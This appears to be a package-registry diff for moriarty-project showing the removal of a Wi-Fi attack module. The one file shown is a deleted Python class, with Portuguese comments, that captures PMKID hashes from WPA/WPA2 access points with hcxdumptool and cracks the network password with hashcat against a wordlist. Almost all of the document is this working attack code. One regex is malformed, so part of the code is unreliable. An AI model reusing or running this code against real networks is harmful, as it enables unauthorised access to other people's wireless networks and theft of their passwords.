moriarty-project 0.1.21__py3-none-any.whl → 0.1.23__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- moriarty/__init__.py +1 -1
- moriarty/cli/app.py +5 -6
- moriarty/modules/port_scanner.py +1 -5
- {moriarty_project-0.1.21.dist-info → moriarty_project-0.1.23.dist-info}/METADATA +36 -49
- {moriarty_project-0.1.21.dist-info → moriarty_project-0.1.23.dist-info}/RECORD +7 -26
- moriarty/cli/wifippler.py +0 -124
- moriarty/modules/wifippler/__init__.py +0 -92
- moriarty/modules/wifippler/cli/__init__.py +0 -8
- moriarty/modules/wifippler/cli/commands.py +0 -123
- moriarty/modules/wifippler/core/__init__.py +0 -94
- moriarty/modules/wifippler/core/attacks/__init__.py +0 -146
- moriarty/modules/wifippler/core/attacks/deauth.py +0 -262
- moriarty/modules/wifippler/core/attacks/handshake.py +0 -402
- moriarty/modules/wifippler/core/attacks/pmkid.py +0 -424
- moriarty/modules/wifippler/core/attacks/wep.py +0 -467
- moriarty/modules/wifippler/core/attacks/wpa.py +0 -446
- moriarty/modules/wifippler/core/attacks/wps.py +0 -474
- moriarty/modules/wifippler/core/models/__init__.py +0 -10
- moriarty/modules/wifippler/core/models/network.py +0 -216
- moriarty/modules/wifippler/core/scanner.py +0 -901
- moriarty/modules/wifippler/core/utils/__init__.py +0 -636
- moriarty/modules/wifippler/core/utils/exec.py +0 -182
- moriarty/modules/wifippler/core/utils/network.py +0 -223
- moriarty/modules/wifippler/core/utils/system.py +0 -153
- {moriarty_project-0.1.21.dist-info → moriarty_project-0.1.23.dist-info}/WHEEL +0 -0
- {moriarty_project-0.1.21.dist-info → moriarty_project-0.1.23.dist-info}/entry_points.txt +0 -0
@@ -1,424 +0,0 @@
|
|
1
|
-
"""
|
2
|
-
Módulo de ataque PMKID.
|
3
|
-
|
4
|
-
Este módulo implementa ataques contra redes WPA/WPA2 usando a vulnerabilidade PMKID,
|
5
|
-
que permite capturar hashes PMKID sem a necessidade de um handshake completo.
|
6
|
-
"""
|
7
|
-
import os
|
8
|
-
import re
|
9
|
-
import time
|
10
|
-
import logging
|
11
|
-
import subprocess
|
12
|
-
import tempfile
|
13
|
-
from typing import Optional, Dict, List, Tuple, Any, Callable
|
14
|
-
from dataclasses import dataclass, field
|
15
|
-
from enum import Enum, auto
|
16
|
-
|
17
|
-
from rich.console import Console
|
18
|
-
from rich.progress import Progress, SpinnerColumn, TextColumn, BarColumn, TimeElapsedColumn
|
19
|
-
|
20
|
-
from ...core.models.network import WiFiNetwork
|
21
|
-
from ...core.utils import (
|
22
|
-
is_root, check_dependencies, get_network_interfaces,
|
23
|
-
set_monitor_mode, restore_network_interface, command_exists
|
24
|
-
)
|
25
|
-
|
26
|
-
# Configuração de logging
|
27
|
-
logging.basicConfig(level=logging.INFO)
|
28
|
-
logger = logging.getLogger(__name__)
|
29
|
-
console = Console()
|
30
|
-
|
31
|
-
class PMKIDEventType(Enum):
|
32
|
-
"""Tipos de eventos do ataque PMKID."""
|
33
|
-
START = auto()
|
34
|
-
PMKID_CAPTURED = auto()
|
35
|
-
CRACK_SUCCESS = auto()
|
36
|
-
CRACK_FAILED = auto()
|
37
|
-
ERROR = auto()
|
38
|
-
PROGRESS = auto()
|
39
|
-
COMPLETE = auto()
|
40
|
-
|
41
|
-
@dataclass
|
42
|
-
class PMKIDEvent:
|
43
|
-
"""Evento de progresso do ataque PMKID."""
|
44
|
-
type: PMKIDEventType
|
45
|
-
message: str = ""
|
46
|
-
data: Dict[str, Any] = field(default_factory=dict)
|
47
|
-
|
48
|
-
class PMKIDAttack:
|
49
|
-
"""Classe para realizar ataques PMKID em redes WPA/WPA2."""
|
50
|
-
|
51
|
-
def __init__(self, interface: str = None, timeout: int = 300):
|
52
|
-
"""
|
53
|
-
Inicializa o ataque PMKID.
|
54
|
-
|
55
|
-
Args:
|
56
|
-
interface: Interface de rede para usar no ataque
|
57
|
-
timeout: Tempo máximo de execução em segundos
|
58
|
-
"""
|
59
|
-
self.interface = interface
|
60
|
-
self.timeout = timeout
|
61
|
-
self.is_running = False
|
62
|
-
self.stop_requested = False
|
63
|
-
self.pmkid_captured = False
|
64
|
-
self.pmkid_file = ""
|
65
|
-
self.psk = ""
|
66
|
-
|
67
|
-
# Verifica dependências
|
68
|
-
self._check_dependencies()
|
69
|
-
|
70
|
-
# Verifica privilégios
|
71
|
-
if not is_root():
|
72
|
-
raise PermissionError("Este ataque requer privilégios de root")
|
73
|
-
|
74
|
-
def _check_dependencies(self) -> None:
|
75
|
-
"""Verifica se todas as dependências necessárias estão instaladas."""
|
76
|
-
required = ['hcxdumptool', 'hcxpcapngtool', 'hashcat']
|
77
|
-
missing = [cmd for cmd in required if not command_exists(cmd)]
|
78
|
-
|
79
|
-
if missing:
|
80
|
-
raise RuntimeError(
|
81
|
-
f"As seguintes dependências estão faltando: {', '.join(missing)}\n"
|
82
|
-
"Instale-as com: sudo apt install hcxtools hashcat"
|
83
|
-
)
|
84
|
-
|
85
|
-
def capture_pmkid(self, bssid: str, channel: int,
|
86
|
-
output_prefix: str = "pmkid",
|
87
|
-
callback: Callable[[PMKIDEvent], None] = None) -> Tuple[bool, str]:
|
88
|
-
"""
|
89
|
-
Captura um hash PMKID de uma rede.
|
90
|
-
|
91
|
-
Args:
|
92
|
-
bssid: Endereço MAC do ponto de acesso
|
93
|
-
channel: Canal da rede
|
94
|
-
output_prefix: Prefixo para os arquivos de saída
|
95
|
-
callback: Função de callback para eventos
|
96
|
-
|
97
|
-
Returns:
|
98
|
-
Tupla (sucesso, caminho_do_arquivo_capturado)
|
99
|
-
"""
|
100
|
-
self.is_running = True
|
101
|
-
self.stop_requested = False
|
102
|
-
self.pmkid_captured = False
|
103
|
-
self.pmkid_file = ""
|
104
|
-
|
105
|
-
# Configura o monitoramento de eventos
|
106
|
-
def event_handler(event_type: PMKIDEventType, message: str = "", **kwargs):
|
107
|
-
if callback:
|
108
|
-
event = PMKIDEvent(type=event_type, message=message, data=kwargs)
|
109
|
-
callback(event)
|
110
|
-
|
111
|
-
# Cria um diretório temporário para os arquivos
|
112
|
-
with tempfile.TemporaryDirectory() as temp_dir:
|
113
|
-
try:
|
114
|
-
output_file = os.path.join(temp_dir, output_prefix)
|
115
|
-
pcapng_file = f"{output_file}.pcapng"
|
116
|
-
hc22000_file = f"{output_file}.hc22000"
|
117
|
-
|
118
|
-
# Comando para capturar PMKID com hcxdumptool
|
119
|
-
cmd_hcxdumptool = [
|
120
|
-
'hcxdumptool',
|
121
|
-
'-i', self.interface,
|
122
|
-
'--enable_status=1',
|
123
|
-
'-o', pcapng_file,
|
124
|
-
'--filterlist=/dev/null',
|
125
|
-
'--filtermode=2',
|
126
|
-
'--disable_client_attacks',
|
127
|
-
'--enable_status=1'
|
128
|
-
]
|
129
|
-
|
130
|
-
# Se um BSSID específico for fornecido, filtra por ele
|
131
|
-
if bssid:
|
132
|
-
cmd_hcxdumptool.extend(['--bssid', bssid])
|
133
|
-
|
134
|
-
# Se um canal específico for fornecido, fixa nele
|
135
|
-
if channel:
|
136
|
-
cmd_hcxdumptool.extend(['--channel', str(channel)])
|
137
|
-
|
138
|
-
event_handler(PMKIDEventType.START, "Iniciando captura do PMKID...")
|
139
|
-
|
140
|
-
# Executa o hcxdumptool em segundo plano
|
141
|
-
hcxdump_proc = subprocess.Popen(
|
142
|
-
cmd_hcxdumptool,
|
143
|
-
stdout=subprocess.PIPE,
|
144
|
-
stderr=subprocess.STDOUT,
|
145
|
-
universal_newlines=True
|
146
|
-
)
|
147
|
-
|
148
|
-
# Monitora a saída do hcxdumptool
|
149
|
-
start_time = time.time()
|
150
|
-
pmkid_found = False
|
151
|
-
|
152
|
-
with Progress(
|
153
|
-
SpinnerColumn(),
|
154
|
-
TextColumn("[progress.description]{task.description}"),
|
155
|
-
BarColumn(bar_width=40),
|
156
|
-
"[progress.percentage]{task.percentage:>3.0f}%",
|
157
|
-
TimeElapsedColumn(),
|
158
|
-
console=console,
|
159
|
-
transient=True,
|
160
|
-
) as progress:
|
161
|
-
task = progress.add_task("Aguardando PMKID...", total=100)
|
162
|
-
|
163
|
-
while True:
|
164
|
-
# Verifica timeout
|
165
|
-
if time.time() - start_time > self.timeout:
|
166
|
-
event_handler(
|
167
|
-
PMKIDEventType.ERROR,
|
168
|
-
"Tempo limite excedido na captura do PMKID"
|
169
|
-
)
|
170
|
-
hcxdump_proc.terminate()
|
171
|
-
return False, ""
|
172
|
-
|
173
|
-
# Verifica se foi solicitado para parar
|
174
|
-
if self.stop_requested:
|
175
|
-
event_handler(
|
176
|
-
PMKIDEventType.ERROR,
|
177
|
-
"Captura interrompida pelo usuário"
|
178
|
-
)
|
179
|
-
hcxdump_proc.terminate()
|
180
|
-
return False, ""
|
181
|
-
|
182
|
-
# Lê a saída do processo
|
183
|
-
line = hcxdump_proc.stdout.readline()
|
184
|
-
if not line and hcxdump_proc.poll() is not None:
|
185
|
-
break
|
186
|
-
|
187
|
-
if line:
|
188
|
-
# Verifica se encontrou um PMKID
|
189
|
-
if "PMKID" in line or "EAPOL" in line:
|
190
|
-
pmkid_found = True
|
191
|
-
event_handler(
|
192
|
-
PMKIDEventType.PMKID_CAPTURED,
|
193
|
-
"PMKID capturado com sucesso!",
|
194
|
-
details=line.strip()
|
195
|
-
)
|
196
|
-
hcxdump_proc.terminate()
|
197
|
-
break
|
198
|
-
|
199
|
-
# Envia atualizações de status
|
200
|
-
event_handler(PMKIDEventType.PROGRESS, line.strip())
|
201
|
-
|
202
|
-
# Atualiza a barra de progresso
|
203
|
-
elapsed = time.time() - start_time
|
204
|
-
progress.update(task, completed=min(100, (elapsed / self.timeout) * 100))
|
205
|
-
|
206
|
-
# Aguarda um pouco antes da próxima verificação
|
207
|
-
time.sleep(0.5)
|
208
|
-
|
209
|
-
# Se encontrou um PMKID, converte para o formato hc22000
|
210
|
-
if pmkid_found and os.path.exists(pcapng_file):
|
211
|
-
event_handler(PMKIDEventType.PROGRESS, "Convertendo captura para formato hc22000...")
|
212
|
-
|
213
|
-
# Comando para converter o arquivo pcapng para hc22000
|
214
|
-
cmd_convert = [
|
215
|
-
'hcxpcapngtool',
|
216
|
-
'-o', hc22000_file,
|
217
|
-
pcapng_file
|
218
|
-
]
|
219
|
-
|
220
|
-
try:
|
221
|
-
subprocess.run(cmd_convert, check=True, capture_output=True, text=True)
|
222
|
-
|
223
|
-
if os.path.exists(hc22000_file) and os.path.getsize(hc22000_file) > 0:
|
224
|
-
self.pmkid_captured = True
|
225
|
-
self.pmkid_file = hc22000_file
|
226
|
-
|
227
|
-
# Copia o arquivo para o diretório atual
|
228
|
-
import shutil
|
229
|
-
final_file = os.path.join(os.getcwd(), f"{output_prefix}.hc22000")
|
230
|
-
shutil.copy2(hc22000_file, final_file)
|
231
|
-
|
232
|
-
event_handler(
|
233
|
-
PMKIDEventType.COMPLETE,
|
234
|
-
f"Arquivo PMKID salvo como: {final_file}",
|
235
|
-
pmkid_file=final_file
|
236
|
-
)
|
237
|
-
|
238
|
-
return True, final_file
|
239
|
-
else:
|
240
|
-
event_handler(
|
241
|
-
PMKIDEventType.ERROR,
|
242
|
-
"Falha ao converter o arquivo de captura"
|
243
|
-
)
|
244
|
-
|
245
|
-
except subprocess.CalledProcessError as e:
|
246
|
-
event_handler(
|
247
|
-
PMKIDEventType.ERROR,
|
248
|
-
f"Erro ao converter o arquivo de captura: {e.stderr}"
|
249
|
-
)
|
250
|
-
|
251
|
-
return False, ""
|
252
|
-
|
253
|
-
except Exception as e:
|
254
|
-
event_handler(
|
255
|
-
PMKIDEventType.ERROR,
|
256
|
-
f"Erro durante a captura do PMKID: {str(e)}"
|
257
|
-
)
|
258
|
-
return False, ""
|
259
|
-
|
260
|
-
finally:
|
261
|
-
self.is_running = False
|
262
|
-
# Encerra processos em execução
|
263
|
-
try:
|
264
|
-
hcxdump_proc.terminate()
|
265
|
-
except:
|
266
|
-
pass
|
267
|
-
|
268
|
-
def crack_pmkid(self, hc22000_file: str, wordlist: str,
|
269
|
-
bssid: str = "", essid: str = "",
|
270
|
-
callback: Callable[[PMKIDEvent], None] = None) -> Tuple[bool, str]:
|
271
|
-
"""
|
272
|
-
Tenta quebrar um hash PMKID usando o hashcat.
|
273
|
-
|
274
|
-
Args:
|
275
|
-
hc22000_file: Caminho para o arquivo .hc22000
|
276
|
-
wordlist: Caminho para o arquivo de wordlist
|
277
|
-
bssid: Endereço MAC do ponto de acesso (opcional)
|
278
|
-
essid: Nome da rede (opcional)
|
279
|
-
callback: Função de callback para eventos
|
280
|
-
|
281
|
-
Returns:
|
282
|
-
Tupla (sucesso, senha)
|
283
|
-
"""
|
284
|
-
if not os.path.exists(hc22000_file):
|
285
|
-
if callback:
|
286
|
-
event = PMKIDEvent(
|
287
|
-
type=PMKIDEventType.ERROR,
|
288
|
-
message=f"Arquivo .hc22000 não encontrado: {hc22000_file}",
|
289
|
-
data={'hc22000_file': hc22000_file}
|
290
|
-
)
|
291
|
-
callback(event)
|
292
|
-
return False, ""
|
293
|
-
|
294
|
-
if not os.path.exists(wordlist):
|
295
|
-
if callback:
|
296
|
-
event = PMKIDEvent(
|
297
|
-
type=PMKIDEventType.ERROR,
|
298
|
-
message=f"Arquivo de wordlist não encontrado: {wordlist}",
|
299
|
-
data={'wordlist': wordlist}
|
300
|
-
)
|
301
|
-
callback(event)
|
302
|
-
return False, ""
|
303
|
-
|
304
|
-
self.is_running = True
|
305
|
-
self.stop_requested = False
|
306
|
-
self.psk = ""
|
307
|
-
|
308
|
-
# Configura o monitoramento de eventos
|
309
|
-
def event_handler(event_type: PMKIDEventType, message: str = "", **kwargs):
|
310
|
-
if callback:
|
311
|
-
event = PMKIDEvent(type=event_type, message=message, data=kwargs)
|
312
|
-
callback(event)
|
313
|
-
|
314
|
-
try:
|
315
|
-
# Comando para quebrar o hash PMKID com hashcat
|
316
|
-
cmd = [
|
317
|
-
'hashcat',
|
318
|
-
'-m', '22000', # Modo WPA-PBKDF2-PMKID+EAPOL
|
319
|
-
'--quiet',
|
320
|
-
'--status',
|
321
|
-
'--status-timer=5',
|
322
|
-
'--potfile-disable', # Não salvar no arquivo pot
|
323
|
-
'--force',
|
324
|
-
hc22000_file,
|
325
|
-
wordlist
|
326
|
-
]
|
327
|
-
|
328
|
-
event_handler(PMKIDEventType.START, "Iniciando quebra do hash PMKID com hashcat...")
|
329
|
-
|
330
|
-
# Executa o hashcat
|
331
|
-
process = subprocess.Popen(
|
332
|
-
cmd,
|
333
|
-
stdout=subprocess.PIPE,
|
334
|
-
stderr=subprocess.STDOUT,
|
335
|
-
universal_newlines=True
|
336
|
-
)
|
337
|
-
|
338
|
-
# Monitora a saída
|
339
|
-
key_found = False
|
340
|
-
key_pattern = re.compile(r'^([a-fA-F0-9]{32}):([^:]+)$')
|
341
|
-
status_pattern = re.compile(r'Speed\s*\(\d+)\)\s*([\d.]+)\s*(\w+\/s)')
|
342
|
-
|
343
|
-
while True:
|
344
|
-
# Verifica se foi solicitado para parar
|
345
|
-
if self.stop_requested:
|
346
|
-
process.terminate()
|
347
|
-
event_handler(
|
348
|
-
PMKIDEventType.ERROR,
|
349
|
-
"Quebra de hash interrompida pelo usuário"
|
350
|
-
)
|
351
|
-
return False, ""
|
352
|
-
|
353
|
-
# Lê a saída
|
354
|
-
line = process.stdout.readline()
|
355
|
-
if not line and process.poll() is not None:
|
356
|
-
break
|
357
|
-
|
358
|
-
if line:
|
359
|
-
# Remove espaços em branco
|
360
|
-
line = line.strip()
|
361
|
-
|
362
|
-
# Verifica se encontrou a senha
|
363
|
-
if line.startswith('STATUS'):
|
364
|
-
parts = line.split()
|
365
|
-
if len(parts) >= 3 and parts[1] == 'CRACKED':
|
366
|
-
# Formato: STATUS 5 CRACKED hash:senha
|
367
|
-
hash_psk = ':'.join(parts[2:])
|
368
|
-
key_match = key_pattern.match(hash_psk)
|
369
|
-
if key_match:
|
370
|
-
self.psk = key_match.group(2)
|
371
|
-
key_found = True
|
372
|
-
event_handler(
|
373
|
-
PMKIDEventType.CRACK_SUCCESS,
|
374
|
-
f"Senha encontrada: {self.psk}",
|
375
|
-
psk=self.psk
|
376
|
-
)
|
377
|
-
process.terminate()
|
378
|
-
return True, self.psk
|
379
|
-
|
380
|
-
# Verifica o progresso
|
381
|
-
elif 'Speed' in line and 'Recovered' in line:
|
382
|
-
# Extrai a velocidade de tentativas
|
383
|
-
speed_match = status_pattern.search(line)
|
384
|
-
if speed_match:
|
385
|
-
speed = float(speed_match.group(2))
|
386
|
-
unit = speed_match.group(3)
|
387
|
-
|
388
|
-
# Converte a velocidade para tentativas/segundo
|
389
|
-
if unit == 'kH/s':
|
390
|
-
speed *= 1000
|
391
|
-
elif unit == 'MH/s':
|
392
|
-
speed *= 1000000
|
393
|
-
|
394
|
-
event_handler(
|
395
|
-
PMKIDEventType.PROGRESS,
|
396
|
-
f"Velocidade: {speed:,.0f} tentativas/segundo",
|
397
|
-
speed=speed
|
398
|
-
)
|
399
|
-
|
400
|
-
# Aguarda um pouco antes da próxima verificação
|
401
|
-
time.sleep(0.1)
|
402
|
-
|
403
|
-
# Verifica se o processo terminou com sucesso
|
404
|
-
if process.poll() == 0 and not key_found:
|
405
|
-
event_handler(
|
406
|
-
PMKIDEventType.CRACK_FAILED,
|
407
|
-
"Senha não encontrada na wordlist fornecida"
|
408
|
-
)
|
409
|
-
|
410
|
-
return key_found, self.psk if key_found else ""
|
411
|
-
|
412
|
-
except Exception as e:
|
413
|
-
event_handler(
|
414
|
-
PMKIDEventType.ERROR,
|
415
|
-
f"Erro durante a quebra do hash PMKID: {str(e)}"
|
416
|
-
)
|
417
|
-
return False, ""
|
418
|
-
|
419
|
-
finally:
|
420
|
-
self.is_running = False
|
421
|
-
|
422
|
-
def stop(self):
|
423
|
-
"""Solicita a interrupção do ataque."""
|
424
|
-
self.stop_requested = True
|